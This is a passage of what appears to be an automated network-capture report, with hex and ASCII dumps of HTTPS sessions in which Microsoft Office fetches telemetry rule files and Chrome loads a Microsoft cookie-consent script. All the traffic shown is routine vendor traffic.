22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 Data Ascii: aDeviceTicket",pg="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="
2024-11-15 12:18:44 UTC	16384	IN	Data Raw: 2c 65 5b 6d 76 5d 26 26 28 65 5b 6d 76 5d 3d 65 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d Data Ascii: ,e[mv]&&(e[mv]=ea(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:44 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:44 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:44 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 77cd0995-b01e-0097-670b-364f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121844Z-1866b5c5fbbstkfjhC1DFWhdyg00000001d0000000003p44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:44 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:44 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:44 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:44 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 145694f3-701e-000d-397a-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121844Z-164f84587bfs5tz9hC1DFW9a3w000000017g00000000enzr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:44 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:44 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:44 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:44 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 3018e20c-101e-008d-17d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121844Z-16547b76f7fkf5v9hC1DFW2y5s0000000150000000008tx2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:44 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:44 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:44 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:44 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 24bee092-d01e-0028-6965-367896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121844Z-164f84587bft9l9khC1DFW32rc0000000180000000006np4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:44 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:44 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:44 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:44 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 835fac84-801e-002a-0b40-3631dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121844Z-1866b5c5fbb7lvschC1DFW4rm00000000170000000007xd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:44 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:44 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:45 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:44 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: aa632173-901e-0029-20a2-34274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121844Z-164f84587bft9l9khC1DFW32rc00000001bg000000000hfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:45 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:44 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:45 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:45 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: cd727bf0-801e-007b-329c-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121845Z-16547b76f7f7lhvnhC1DFWa2k00000000mz000000000a3b1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:45 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.7	49864	13.107.246.67	443	7968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:45 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-15 12:18:45 UTC	713	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:45 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 10956 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: e993b9da-801e-0040-623f-3727a2000000 x-ms-version: 2009-09-19 x-azure-ref: 20241115T121845Z-16547b76f7f7lhvnhC1DFWa2k00000000mwg00000000fxfh Accept-Ranges: bytes
2024-11-15 12:18:45 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-15 12:18:45 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-15 12:18:45 UTC	711	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-15 12:18:45 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-15 12:18:45 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:45 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
